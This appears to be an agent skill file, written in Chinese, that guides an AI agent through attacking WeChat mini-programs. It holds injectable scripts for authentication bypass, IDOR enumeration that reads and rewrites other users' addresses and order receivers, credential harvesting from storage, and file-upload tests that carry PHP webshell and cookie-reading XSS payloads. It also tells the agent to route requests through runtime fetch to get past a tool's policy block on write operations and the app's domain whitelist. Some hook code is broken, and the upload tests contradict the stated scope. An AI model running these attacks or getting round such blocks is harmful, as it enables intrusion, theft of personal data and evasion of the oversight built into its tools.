| name | miniapp-security-core |
| description | Use when reviewing authorized WeChat mini-program or mini-app targets for authentication bypass, IDOR, undefined-path access, API abuse, decryption and signature analysis, runtime reverse engineering, route mapping, and sensitive data exposure, with file-submission attack surfaces intentionally excluded. |
❌ 红线(违反即失败)
- 未完整复述 Checklist 就调用 MCP 工具
- 自动重放支付、退款、提现、下单等资金类接口(
build_replay_plan 只生成计划,不自动发送)
- 未经
dryRun=false 和 requireConfirm=true 就修改 Vuex state
- 把解密结果用于绕过服务端校验而非安全评估
⚠️ 授权声明(必读)
本 skill 仅用于已获授权的安全评估、CTF 竞赛、合法渗透测试和防御性安全研究。
目标小程序须为授权评估对象。禁止对未授权系统使用任何主动探测手段。使用者须自行承担法律责任。
评估流程总览
| Phase | 目标 | 核心工具 | 输出 |
|---|
| 0. 环境搭建 | CDP 连接 + Hook 注入 | connection_ops / network_ops | 流量采集就绪 |
| 1. 侦察 | 路由 + 接口资产盘点 | runtime_ops / debugger_ops | 接口清单(含路由标注) |
| 2. 渗透线索 | IDOR / 认证绕过 / 资金接口 | analysis_ops / runtime_ops(fetch) | 风险候选清单 |
| 3. 解密分析 | 加密参数破解 + 密钥追踪 | decrypt_ops / debugger_ops | 明文数据 |
| 4. 逆向审计 | 代码保护分析 + 硬编码凭据扫描 | debugger_ops / reverse_ops | 凭据泄露报告 |
| 5. State 检查 | Vuex 越权状态验证 | runtime_ops | 越权路径 |
| 6. 报告导出 | Markdown 安全评估报告 | analysis_ops | 完整报告 |
最小可行扫描(时间受限时):Phase 0 → Phase 1(全路由)→ Phase 2.1-2.2.1(认证/IDOR/undefined路径)→ Phase 2.5.1(专项风险:JWT-in-URL/静态sign/enc/多appId)→ Phase 2.8(HTTP 行为变化矩阵:传统登录/上传/CVE路径/路由参数)→ Phase 4.7 第一轮(CRITICAL 凭据扫描)→ Phase 6
快速决策树(从目标直达 Phase)
当前任务是什么?
│
├─ 刚拿到小程序,需要全面摸底
│ └─ 走完整流程:Phase 0 → 1 → 2 → 4.7 → 6
│
├─ 时间有限,只测高价值面
│ └─ 最小可行扫描:0 → 1 → 2.1 + 2.2 + 2.2.1 → 2.5.1 → 4.7(CRITICAL)→ 6
│
├─ 发现加密参数(mina_edata / sign / enc)需要解密
│ └─ Phase 3 解密分析 → 场景 2(AES-CBC)/ 场景 3(唯品会三层)/ 场景 14(cachedata)
│
├─ 发现含 ID 参数的接口,怀疑 IDOR
│ └─ Phase 2.2 主动验证 → Phase 2.2.1(/undefined 路径)→ 场景 5
│
├─ 发现地址 / 订单接口,测写越权
│ └─ Phase 2.4.A(地址越权)/ Phase 2.4.B(订单越权)→ 场景 5
│
├─ 源码有混淆 / JSVMP / Webpack 保护
│ └─ Phase 4.1 识别类型 → Phase 4.2(Webpack)/ 4.3(OB)/ 4.4(JSVMP)→ 场景 7/8
│
├─ 怀疑硬编码了 AK/SK / AppSecret / 数据库密码
│ └─ Phase 4.7.0(运行时优先)→ Phase 4.7.1-4.7.9(正则扫描)→ 场景 11
│
├─ 接口认证疑似可绕过(不带 token 也返回数据)
│ └─ Phase 2.1 认证绕过主动验证 → 判断标准表
│
├─ 看到 /login 全部 404,疑似迁移到 OAuth2
│ └─ Phase 2.8 ① → 场景 16(认证机制迁移探测)
│
└─ 需要生成完整评估报告
└─ Phase 6 → analysis_ops(generate_security_notes)
Phase 0:环境搭建
MCP 操作顺序(推荐每次评估开始时执行):
1. connection_ops(action="connect_wmpf")
→ 连接 WMPFDebugger CDP,默认 ws://127.0.0.1:62000
2. network_ops(action="network_enable")
→ 启用 CDP Network domain,开始采集
3. 注入路由发现脚本 __routeNavigator(必须在 select_appservice_context 之前!)
⚠️ 此步骤要使用 runtime_eval(page-frame 上下文),不是 runtime_eval_appservice。
脚本依赖 window.frames 遍历跨 frame 找到拥有完整 __wxConfig 和 getCurrentPages
的 appservice frame;若在 appservice 上下文注入则 frames 遍历失效,路由数量仍然不足。
# Step A: 读取注入脚本内容
Read(file_path="package/applet_routes/nav_inject.js")
→ 获取 nav_inject.js 全文(约 360 行)
# Step B: 注入到 page-frame 上下文
runtime_ops(action="runtime_eval",
expression="<nav_inject.js 全文内容>",
await_promise=False)
# Step C: 验证注入成功
runtime_ops(action="runtime_eval",
expression="typeof window.__routeNavigator")
→ 返回 "object" 表示注入成功;返回 "undefined" 则重试 Step B
4. connection_ops(action="select_appservice_context")
→ 自动识别 appservice Runtime context,供后续 runtime_eval_appservice 使用
5. network_ops(action="hook_wx_request")
→ 在 appservice 上下文注入 wx.request hook,采集请求/响应原始数据
6. network_ops(action="hook_fetch_and_xhr")
→ 注入 fetch/XHR hook(Web 端 H5 页面)
7. runtime_ops(action="dump_runtime_snapshot")
→ 当前页面状态快照(URL、路由、存储摘要)
→ 记录当前路由路径,后续所有请求均标注来源路由
Phase 1:路由发现与接口侦察
1.0 路由资产盘点(v2.10 重写 — 使用 __routeNavigator)
核心原则:每个请求必须标注来源路由,每条路由都必须被测试。
⚠️ 前提:Phase 0 Step 3 的 __routeNavigator 必须已注入。如果本步骤报错,先确认注入成功。
# Step 1: 获取完整路由表(含分包)—— 一次调用取代旧的两步搜索
runtime_ops(action="runtime_eval",
expression="window.__routeNavigator.fetchConfigJson()")
→ 解析返回 JSON:
pages = [{route, source, isTabBar}, ...] → 含主包 + 所有分包路由
tabBarPages = ["pages/home/index", ...]
currentRoute = "pages/xxx/xxx" → 当前所在页面
guardEnabled = false
⚠️ 若返回 "undefined" 或报错:
- 检查 Phase 0 Step C 是否返回 "object"
- 重新执行 Phase 0 Step B(重注入)再重试
# Step 2: 获取当前页面栈(辅助确认路由上下文)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{const p=getCurrentPages();return p.map(pg=>({route:pg.route,options:pg.options}))})()")
路由表解读要点:
source="main" → 主包页面
source="subPackageName" → 对应分包,代表分包已在 __wxConfig 中声明
isTabBar=true → 导航时用 switchTabJson,否则用 navigateToJson 或 reLaunchJson
- 若
pages 仍然很少(< 5):说明小程序尚未加载子包配置,先随意触发几次页面切换再重试
1.1 逐路由流量采集(优先级优先 — v2.12)
核心原则:按漏洞价值排序遍历,不要按路由列表顺序机械扫描。
路由优先级分级
拿到 fetchConfigJson() 的完整路由表后,先按以下规则分组再依次测试:
P0 — 必测(最高价值,直接对应已知漏洞类型)
关键词命中任意一个即归入:
order / pay / payment / cart / checkout / coupon / refund ← 支付/订单
address / profile / setting / account / userInfo ← 个人信息/写越权
admin / manage / backstage / internal / debug ← 后台/管理
borrow / return / renew / reserve ← 借阅(图书馆类)
donate / purchase / buy ← 购买/捐赠
P1 — 重要(常含 IDOR 或认证绕过线索)
detail / Detail / info / get / query / view ← ⚡ 详情页(必须配合 ID 参数测试)
list / search / result / record / history ← 列表(可枚举,为 Detail IDOR 提供 ID 来源)
auth / login / register / bind / verify / openid ← 认证流程
mine / my / user / member / reader ← 用户中心
P2 — 普通(扫完 P0/P1 后再补)
index / home / activity / service / navigation ← 首页/导航
notice / article / news / video / exhibit / about ← 内容展示
P3 — 低优先(通常纯展示,无接口)
agreement / guide / success / result / map / web-view ← 静态/结果/地图
demo / live / readNow ← 演示/直播
⚡ Detail 路由专项协议(P1 必执行)
核心问题:Detail 路由不带 ID 参数直接导航通常返回空数据或报错,必须从对应 List 接口获取真实 ID 后再测试。
遇到 xxxDetail / xxxInfo / bookDetail / orderDetail / layerDetail 等路由时:
Step 1: 先找 ID 来源
→ 检查已捕获请求中同模块的 list/query 接口响应
→ 从响应 JSON 中提取 id / itemId / orderId / bookId 等字段
→ 若无 list 数据:先导航对应 list 路由触发数据加载,再读取 ID
Step 2: 带 ID 导航 Detail 路由
→ 方式 A(url 参数):reLaunchJson('pages-sub/xxx/detail?id=<真实ID>')
→ 方式 B(onLoad 注入):navigateToJson 后用 runtime_eval_appservice 调用
page.onLoad({id: '<真实ID>'})
Step 3: 读取 Detail 接口请求,确认接口路径和 ID 参数名
Step 4: 立即执行 IDOR 测试(Phase 2.2 模板)
→ 用当前用户 ID 作为 BASELINE
→ 从 list 响应中找其他用户的 ID(如社区帖子作者、排行榜 userId)
→ 对比响应数据差异判断越权
→ 空数据 ≠ 无 IDOR(换有真实数据的 ID 重试)
典型 Detail 路由来源配对表:
| Detail 路由关键词 | 对应 List 路由 | ID 字段名 |
|---|
| orderDetail / order/detail | order/list / my-order/index | id / orderId |
| bookDetail / book-detail | booklist / borrow/list | id / bookId / isbn |
| layofficeDetail / layerDetail | legalServices/list | id |
| articleDetail / docDetail | article-list / continuous | id / articleId |
| myActivity/detail | myActivity/myActivity | id / activityId |
| exhibitList/index / electronic-detail | exhibitList / electronic-list | id |
runtime_eval_appservice(expression="(()=>{
var route=(getCurrentPages().slice(-1)[0]||{}).route||'?';
form:JSON.stringify(obj.formData||{}),route:route,ts:Date.now()});
return origUp.apply(this,arguments);
};
}
})()")
→ 有条目 → 直接跳 Step 4 执行绕过测试
→ 无条目 → 执行 Step 3「主动触发法」
Step 3: 主动触发法(Hook 无日志时执行)
runtime_eval_appservice(expression="(async ()=>{
var pages=getCurrentPages();
var c=pages[pages.length-1];
// Step 3a: 列出所有页面方法,找潜在的上传触发入口
var methods=Object.keys(c).filter(function(k){return typeof c[k]==='function';});
form:JSON.stringify(obj.formData||{}),route:c.route,ts:Date.now()});
return origUp.apply(this,arguments); // 继续真正上传
};
// 创建一个模拟图片文件
var fs=wx.getFileSystemManager();
var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
if(opts&&typeof opts.success==='function')
opts.success({tempFilePaths:[p],tempFiles:[{path:p,size:9}]});
};
var fs=wx.getFileSystemManager();
var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
if(opts&&typeof opts.success==='function')
opts.success({tempFiles:[{tempFilePath:p,fileType:'image',size:9}]});
};
// Step 3c: 逐一调用页面 handler,用 fake tap event 触发,监控哪个触发了上传
var fakeEvent={type:'tap',timeStamp:Date.now(),
target:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
currentTarget:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
touches:[{identifier:0,pageX:100,pageY:100,clientX:100,clientY:100}],
changedTouches:[{identifier:0,pageX:100,pageY:100}],
detail:{x:100,y:100}};
var triggeredBy=null;
for(var m of methods){
try{c[m].call(c,fakeEvent);}catch(e){}
await new Promise(function(r){setTimeout(r,500);});
triggeredBy=m;
break;
}
}
// 恢复
return JSON.stringify({
methods:methods,
triggeredBy:triggeredBy,
});
})()")
→ 若所有方法均未触发:
runtime_eval_appservice("JSON.stringify(getCurrentPages().slice(-1)[0].data)")
- 从 get_all_requests / DNS prefetch 反推 OSS 域名
- 从 Storage 搜索 ossInfo / accessKeyId 字段
Step 4: 对捕获的上传 URL 执行完整文件类型绕过测试
runtime_eval_appservice(expression="(async ()=>{
var token=wx.getStorageSync('token')||wx.getStorageSync('access_token')||'';
var fs=wx.getFileSystemManager();
var base=wx.env.USER_DATA_PATH;
var tests=[
{label:'baseline_jpg', fn:'ok.jpg', mime:'image/jpeg', body:'\\xff\\xd8\\xff\\xe0normal'},
{label:'php_as_jpg', fn:'shell.php', mime:'image/jpeg', body:'<?php phpinfo();?>'},
{label:'phtml', fn:'shell.phtml', mime:'image/jpeg', body:'<?php system($_GET[\"c\"]);?>'},
{label:'gif_php', fn:'shell.gif', mime:'image/gif', body:'GIF89a<?php system($_GET[\"c\"]);?>'},
{label:'double_ext', fn:'img.php.jpg', mime:'image/jpeg', body:'<?php phpinfo();?>'},
{label:'svg_xss', fn:'xss.svg', mime:'image/svg+xml', body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.cookie)</script></svg>'},
{label:'html_xss', fn:'xss.html', mime:'text/plain', body:'<script>alert(document.cookie)</script>'},
];
var results=[];
for(var t of tests){
fs.writeFileSync(base+'/'+t.fn, t.body, 'utf8');
var r=await new Promise(function(res){
header:{'Authorization':'Bearer '+token,token:token},
formData:{},
success:function(r){
var parsed={};try{parsed=JSON.parse(r.data);}catch(e){}
var fileUrl=(parsed.data&&(parsed.data.url||parsed.data))||parsed.url||'';
res({label:t.label,file:t.fn,status:r.statusCode,code:parsed.code,
fileUrl:String(fileUrl),resp:String(r.data).slice(0,300)});
},
fail:function(e){res({label:t.label,file:t.fn,status:'fail',err:String(e.errMsg||'').slice(0,80)});}
});
});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
Step 5: 验证 Content-Type 与 Content-Disposition(决定 XSS 是否可利用)
runtime_eval_appservice(expression="(async ()=>{
var urls={svg:'<svg URL>',html:'<html URL>',php:'<php URL>',pdf:'<pdf URL>'};
var results=[];
for(var k in urls){
var r=await new Promise(function(res){wx.request({
url:urls[k],method:'GET',
success:function(r){
var h=r.header||{};
res({type:k,status:r.statusCode,
ct:h['Content-Type']||h['content-type']||'?',
cd:h['Content-Disposition']||h['content-disposition']||'none(inline!)',
body:JSON.stringify(r.data||'').slice(0,150)});
},fail:function(e){res({type:k,status:'fail'});}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
Step 6: 判断结果
.svg + ct=image/svg+xml + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
.html + ct=text/html + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
.php 上传成功 + cd=none → ⚠️ OSS 不执行 PHP,但无扩展名检查
任意文件 + cd=attachment → ✅ 强制下载,XSS 不可直接触发
服务端拒绝"格式不支持" → ✅ 白名单保护
遍历流程
Step 1: 从 fetchConfigJson() 路由表按上面规则分组为 P0/P1/P2/P3
Step 2: 按 P0 → P1 → P2 → P3 顺序依次导航,每个路由:
For each route in [P0, P1, P2, P3 顺序]:
┌──────────────────────────────────────────────────────────┐
│ 路由: pages-sub/borrow/my-order/index (P0) │
│ 1. 导航(统一优先 reLaunchJson): │
│ runtime_eval("window.__routeNavigator │
│ .reLaunchJson('pages-sub/...')") │
│ 2. 触发刷新(onPullDownRefresh 或 onShow) │
│ 3. 读取新增请求 │
│ 4. ⚡ 空流量路由?→ 按决策树处理(最多重试 2 次) │
│ 5. 路由类型专项处理: │
│ · detail/Detail 类 → 执行 Detail ID 协议 │
│ · order/pay/address 类 → 标记认证绕过/IDOR 候选 │
│ 6. 记录: URL / 方法 / 参数 / 认证 / 加密,标注来源路由 │
└──────────────────────────────────────────────────────────┘
Step 3: P0 路由采集完成后,立即执行 Phase 2 渗透验证
P1/P2/P3 继续在后台补充遍历
⚡ 空流量路由决策树
导航后无新请求?
│
├─ YES → 尝试强制刷新(onPullDownRefresh / onShow)
│ ├─ 有新请求 → 正常采集
│ └─ 仍无请求(重试 2 次)→ 判定为静态/纯UI路由
│ → 记录"[无接口 — 跳过]",进入下一条路由
│ ← ⚠️ 最多重试 2 次,不要死磕
│
└─ NO → 正常采集
静态路由常见特征:协议/关于/引导/成功页、地图、web-view 包装页。
路由请求标注格式(在分析和报告中均使用):
路由: pages-sub/borrow/my-order/detail [P1 — Detail — 已从 list 提取 ID]
└── GET /api/borrow/order/detail?id=123 [认证: token]
风险标签: IDOR 已验证 / 他人订单数据可读
风险标签: 文件类型绕过已测 / .php 上传成功 → RCE
路由: pages-sub/profile/address-list [P0 — 地址]
├── GET /api/user/address/list [认证: token]
└── POST /api/user/address/add [认证: token]
风险标签: 地址写越权候选
路由: pages-sub/mine/agreement [P3 — 静态]
└── [无接口 — 纯展示,跳过]
1.2 全量流量汇总
在完成所有路由的遍历采集后:
network_ops(action="get_all_requests")
→ 返回 CDP + wx.request + fetch/XHR 归一化请求列表(含来源路由标注)
analysis_ops(action="get_api_inventory")
→ 返回去重后的接口清单:路径、方法、状态码、参数、认证字段、来源路由、风险标签
analysis_ops(action="generate_api_table_markdown")
→ Markdown 接口表格(按路由分组)
1.3 加密参数识别
network_ops(action="search_runtime_keywords",
keywords=["mina_edata", "encrypt", "AES", "3DES", "sign", "token", "cipher"])
→ 在 window、document、storage 和内联脚本中搜索关键词
network_ops(action="inspect_wx_config")
→ 检查 __wxConfig、__wxAppCode__ 中的关键词命中
decrypt_ops(action="auto_detect_encoding", value="<加密参数值>")
→ 自动识别编码类型(base64 / hex / url_encoded)
1.4 脚本分析
debugger_ops(action="list_scripts")
→ 列出已加载脚本
debugger_ops(action="search_in_sources", query="encrypt|AES|sign|request|decrypt|crypto|md5|sha|base64")
→ 全源码搜索加密/签名关键词
debugger_ops(action="get_script_source", url="<脚本URL>")
→ 获取脚本内容
# v2.0 新增:检测代码保护
debugger_ops(action="search_in_sources", query="_0x|obfuscator|jsvmp|virtualMachine|while.*switch|webpackJsonp")
→ 识别混淆/JSVMP/Webpack 打包
⚠️ cachedata 脚本降级方案(v2.5 新增):若 list_scripts 返回的 URL 全部以 .cachedata 结尾,或 search_in_sources 对所有查询均返回 0 命中,或 get_script_source 报 "Debugger agent is not enabled",说明脚本以 WX 二进制缓存格式存储,静态文本搜索完全失效。此时切换到运行时扫描替代方案:
# 替代方案1: 运行时遍历全局函数名,定位加密函数
runtime_ops(action="runtime_eval",
expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&&
/encrypt|decrypt|sign|md5|sha|aes|des|hmac|cipher|encode/i.test(k)))()")
# 替代方案2: 扫描全局变量中的硬编码密钥(见 Phase 4.7.2 的验证步骤 1-4)
runtime_ops(action="runtime_eval",
expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){
if(/host|gateway|env|config|api|baseUrl|key|secret|token/i.test(k)){
try{var v=String(globalThis[k]);if(v&&v!='undefined')r[k]=v.slice(0,200)}catch(e){}
}}return JSON.stringify(r)})()")
# 替代方案3: 搜索 Storage 中的密钥字段
runtime_ops(action="runtime_eval",
expression="(()=>{try{var keys=wx.getStorageInfoSync().keys;
var r={};keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k))
.forEach(k=>{try{r[k]=wx.getStorageSync(k)}catch(e){}});return JSON.stringify(r)}
catch(e){return String(e)}})()")
Phase 2:渗透测试线索分析
2.1 认证与授权测试(主动验证)
analysis_ops(action="analyze_auth_surface")
→ 认证字段分布、token 位置(header/query/body)、缺少认证的敏感接口
→ 按路由分组展示,标注每个路由的认证覆盖盲区
认证绕过必须主动发送请求验证,不能只看静态分析结果:
# Step 1: 从 get_request_detail 提取目标请求的完整信息
# Step 2: 用 runtime_eval (fetch) 或 runtime_eval_appservice (wx.request) 主动发送修改后的请求
# Step 3: 对比响应判断是否绕过
# === 认证绕过主动测试模板 ===
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<从JWT解析或请求中提取的token>';
var url='<目标接口URL>';
var method='<GET/POST>';
var body='<原始请求体JSON>';
var results=[];
// 测试1: 不带 token
var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});
results.push({test:'no_token',status:r1.status,body:await r1.text()});
// 测试2: 带空 token
var r2=await fetch(url,{method:method,headers:{'Authorization':'Bearer ','Content-Type':'application/json'},body:body});
results.push({test:'empty_token',status:r2.status,body:await r2.text()});
// 测试3: 带伪造 token
var r3=await fetch(url,{method:method,headers:{'Authorization':'Bearer fake_token_12345','Content-Type':'application/json'},body:body});
results.push({test:'fake_token',status:r3.status,body:await r3.text()});
// 测试4: 正常 token(基线)
var r4=await fetch(url,{method:method,headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},body:body});
results.push({test:'baseline',status:r4.status,body:await r4.text()});
return JSON.stringify(results,null,2);
})()")
# === 认证绕过判断标准 ===
# no_token 返回 200 + 正常数据 → 🔴 无认证保护(严重)
# empty_token 返回 200 + 正常数据 → 🔴 token 验证不严格
# fake_token 返回 200 + 正常数据 → 🔴 token 未真正校验
# baseline 返回 200,其余返回 401/403 → ✅ 认证正常
# 所有测试返回相同数据 → 🔴 接口根本不需要认证
#
# ⚠️ 歧义情况:所有测试(含 baseline)均返回相同 500 →
# 不等于"未保护"!服务端可能在解析 token 时崩溃。
# 判断方法:检查 500 响应体是否包含堆栈/debug 信息(信息泄露)。
# 后续操作:换有效 token(从 storage 或 JWT 解码获取)构造 baseline 再测。
为什么用 runtime_eval + fetch 而非 replay_ops:
replay_ops 对 POST/写操作默认阻断(blocked_by_policy)
fetch 从 webview 层面发送,绕过小程序的域名白名单限制
- 直接拿到响应数据对比,无需手动验证
2.2 IDOR 候选发现与主动验证
analysis_ops(action="find_idor_candidates")
→ 包含对象 ID 的接口(潜在 IDOR 候选)
→ 标注: 来源路由 + ID 参数名称 + ID 格式(自增/UUID/编码)
IDOR 不能只看静态分析结果,必须主动发送请求验证。以下为完整主动测试流程:
# Step 1: 获取原始请求详情
network_ops(action="get_request_detail", request_id="<候选请求ID>")
→ 提取: url, method, headers, body, 响应结构
# Step 2: 从 JWT/Body 中识别当前用户 ID
# 如果 Authorization header 是 JWT,解码 payload 获取 userId
# 如果请求体中有 openId/userId/uuid,记录当前值
# Step 3: 构造 IDOR 测试向量并主动发送
# 使用 runtime_eval (fetch) 绕过 replay_ops 的 POST 阻断
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<从请求中提取的完整token>';
var baseBody=<原始请求体JSON>;
var tests=[
{label:'BASELINE',body:{...baseBody}}, // null/原值(基线)
{label:'IDOR_ADJACENT',body:{...baseBody,userId:baseBody.userId+1}}, // 相邻ID
{label:'IDOR_FIRST',body:{...baseBody,userId:1}}, // 首个用户
{label:'IDOR_ZERO',body:{...baseBody,userId:0}}, // 边界值
{label:'IDOR_STRING',body:{...baseBody,userId:'admin'}}, // 类型混淆
];
var results=[];
for(var t of tests){
var r=await fetch('<目标URL>',{
method:'POST',
headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},
body:JSON.stringify(t.body)
});
var text=await r.text();
results.push({label:t.label,status:r.status,bodyLen:text.length,preview:text.slice(0,500)});
}
return JSON.stringify(results,null,2);
})()")
IDOR 判断标准(按优先级):
| 响应对比 | 判断 | 后续操作 |
|---|
| BASELINE 有数据,IDOR_* 返回不同的有效数据 | 🔴 IDOR 确认 | 提取他人数据的敏感程度,定级 |
| BASELINE 有数据,IDOR_* 返回相同数据 | ✅ 后端忽略了 userId(取 token) | 换参数位置测试 |
| BASELINE 有数据,IDOR_* 返回 403 | ✅ 有权限检查 | 记录为已防御 |
| BASELINE 空数据,IDOR_* 也空数据 | ⚠️ 无法判断 | 说明当前用户/目标用户均无数据,换有数据的接口测试 |
IDOR_* 返回了不同 data.phone/name/idCard 等字段 | 🔴 越权读取他人敏感信息 | 严重,立即报告 |
跨域请求注意:如果目标 API 域名与当前小程序不同(如跨小程序调用),wx.request 会因域名白名单失败,此时 fetch 从 webview 层发送可绕过限制。
2.2.1 路径参数 undefined IDOR(v2.4 新增)
模式:URL 路径中包含 /undefined 段,说明客户端 JS 变量未初始化就直接嵌入了 URL 模板(如 `/api/detail/${item.id}` 中 item.id 为 undefined),服务端收到字面字符串 "undefined" 后仍可能转发给数据库查询。
# Step 1: 从已采集请求中识别路径含 /undefined 的接口
network_ops(action="get_all_requests")
→ 筛选 path.includes('/undefined') 的条目
→ 这类请求常出现在页面刚加载、列表未渲染完成时触发的详情接口
# Step 2: 获取原始请求完整信息
network_ops(action="get_request_detail", request_id="<候选请求ID>")
→ 提取: url, method, headers, 认证字段
主动测试模板(替换 undefined 为数字 ID 枚举资源):
runtime_ops(action="runtime_eval", expression="(async ()=>{
var baseUrl='<原始URL,含 /undefined>';
var method='<GET/POST>';
var headers={'Content-Type':'application/json','Authorization':'Bearer <token>'};
var testIds=[1,2,3,10,100,1000,99999];
var results=[];
// BASELINE: 原始 /undefined 请求(确认服务端如何处理字面 undefined)
var rb=await fetch(baseUrl,{method:method,headers:headers});
var baseText=await rb.text();
results.push({id:'undefined',status:rb.status,len:baseText.length,preview:baseText.slice(0,300)});
// 枚举数字 ID — 将路径中的 /undefined 替换为 /<id>
for(var id of testIds){
var url=baseUrl.replace('/undefined','/'+ id);
var r=await fetch(url,{method:method,headers:headers});
var text=await r.text();
results.push({id:id,status:r.status,len:text.length,preview:text.slice(0,400)});
}
return JSON.stringify(results,null,2);
})()")
如果从响应或其他接口已获得真实 ID(如 exhibitId=42),优先测试相邻范围:
var testIds=[39,40,41,42,43,44,45,1,2,99999];
// 相邻 ID 最容易触发他人数据,危害更直接
判断标准:
| 响应对比 | 判断 | 后续操作 |
|---|
/undefined 返回空/错误,数字 ID 返回他人有效数据 | 🔴 路径遍历 IDOR 确认 | 枚举更多 ID,确认数据敏感程度 |
| 不同数字 ID 返回不同用户的数据 | 🔴 IDOR 确认(越权访问) | 提取数据字段,按越权范围定级 |
| 数字 ID 返回 404/403/权限错误 | ✅ 有保护 | 记录为已防御 |
| 所有 ID(包括 undefined)均返回相同错误 | ⚠️ 需认证 | 用带有效 token 的请求重测 |
/undefined 与数字 ID 响应长度不同 | 🔴 服务端区分了不同 ID,存在数据泄露风险 | 检查不同 ID 返回的具体字段 |
2.3 敏感数据暴露
analysis_ops(action="find_sensitive_data_exposure")
→ 请求/响应中的敏感字段(已脱敏展示)
→ 关注: 手机号、身份证、银行卡号、密码、token 在响应体中回显
→ 按路由分组的敏感数据暴露统计
2.4 资金类接口识别
analysis_ops(action="find_payment_and_order_surfaces")
→ 支付/订单/优惠券/钱包/余额接口(资金风险候选)
→ 标注: 来源路由 + 金额参数名 + HTTP 方法
→ 金额篡改候选: price/amount/cost/total/fee 参数
→ 优惠券/积分: couponId/bonusId/point 参数
2.4.A 地址管理越权测试(v2.8 新增)
核心原则:地址接口极易出现 IDOR —— 地址 ID 通常是自增整数,且增删改操作仅凭 token 可能无法校验地址归属。必须自己添加地址拿到 ID,再用该 ID 枚举其他用户地址。
⚠️ 地址接口命名不唯一:不同小程序的地址 API 路径差异很大,必须从流量中获取真实路径。常见变体:
/api/app/user/address/add — 用户收货地址
/api/app/delivery/address/add — 物流配送地址
/api/app/trade/delivery/add-receiver — 订单收货人(含 deliveryIds 关联订单!)
/api/app/address/save / /api/app/address/create
trade/delivery/add-receiver 是特殊情况:它的 deliveryIds 字段关联了具体订单,
这既是地址接口也是订单关联接口,IDOR 价值更高(改变他人订单的收货人)。
Step 1:导航地址页采集真实接口
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/address/address'});return 'ok'})()")
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages/editDelivery/editDelivery'});return 'ok'})()")
analysis_ops(action="get_api_inventory")
→ 识别: address/list, address/add, address/get, address/edit, address/delete
→ 特别关注: delivery/add-receiver / delivery/address/add 等含 deliveryIds/receiverId 的接口
Step 2:主动添加测试地址(获取 addressId / deliveryId)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
var base='https://<API域名>';
var ts=Date.now();
// 尝试常见的地址创建 API 路径(从接口清单中取真实路径)
var addPaths=[
'/api/app/user/address/add',
'/api/app/address/add',
'/api/app/delivery/address/add',
'/lyanxue/api/v1.2/app/delivery/address/add',
'/lyanxue/api/v1.2/app/user/address/add',
];
var testAddr={
name:'IDOR测试',
phone:'13800000001',
province:'广东省',
city:'深圳市',
district:'南山区',
detail:'测试路1号',
isDefault:0,
timestamp:ts
};
var results=[];
for(var p of addPaths){
var r=await new Promise(res=>{wx.request({
url:base+p,method:'POST',
header:{token:token,'Content-Type':'application/json'},
data:testAddr,
success:function(r){res({path:p,code:r.data&&r.data.code,msg:r.data&&r.data.msg,
addrId:r.data&&r.data.data&&(r.data.data.id||r.data.data.addressId||r.data.data.deliveryId),
preview:JSON.stringify(r.data).slice(0,300)})},
fail:function(e){res({path:p,status:'fail'})}
})});
if(r.code===10000||r.code===200||r.code===0) results.push(r);
else results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 记录成功的 path 和返回的 id(通常为整数)
Step 2.5:针对 trade/delivery/add-receiver 的特殊处理
add-receiver 是订单关联的收货人接口,比普通地址更高价值:
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
var base='https://<API域名>';
var ts=Date.now();
// Step 1: 先获取自己的 delivery list 拿到 deliveryIds
var deliveries=await new Promise(res=>{wx.request({
url:base+'/lyanxue/api/v1.2/app/trade/delivery/get-list?pageNo=1&pageSize=10&lockedStates=0×tamp='+ts,
method:'GET',header:{token:token},
success:r=>res(r.data&&r.data.data&&r.data.data.deliveryList||[]),
fail:e=>res([])
})});
console.log('[DELIVERIES]'+JSON.stringify(deliveries).slice(0,500));
// Step 2: 用相邻 ID 测试 add-receiver(IDOR 核心)
var myDeliveryId=deliveries[0]&&deliveries[0].id;
var testIds=myDeliveryId?[myDeliveryId-2,myDeliveryId-1,myDeliveryId,myDeliveryId+1,myDeliveryId+2]:[1,2,3,100];
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+'/lyanxue/api/v1.2/app/trade/delivery/add-receiver',
method:'POST',header:{token:token,'Content-Type':'application/json'},
data:{deliveryIds:String(id),name:'IDOR_TEST',phone:'13800000002',address:'测试地址IDOR',timestamp:ts},
success:r=>res({deliveryId:id,code:r.data&&r.data.code,msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)}),
fail:e=>res({deliveryId:id,status:'fail'})
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
他人 deliveryId → code:10000/200 → 🔴 越权修改他人订单收货人(严重!影响商品投递)
他人 deliveryId → 403/401 → ✅ 有归属验证
所有 deliveryId → code:0 → ⚠️ 接口存在但无数据(可能需要正确的 deliveryIds 格式)
Step 3:用自己的 addressId 枚举其他地址(IDOR 核心测试)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
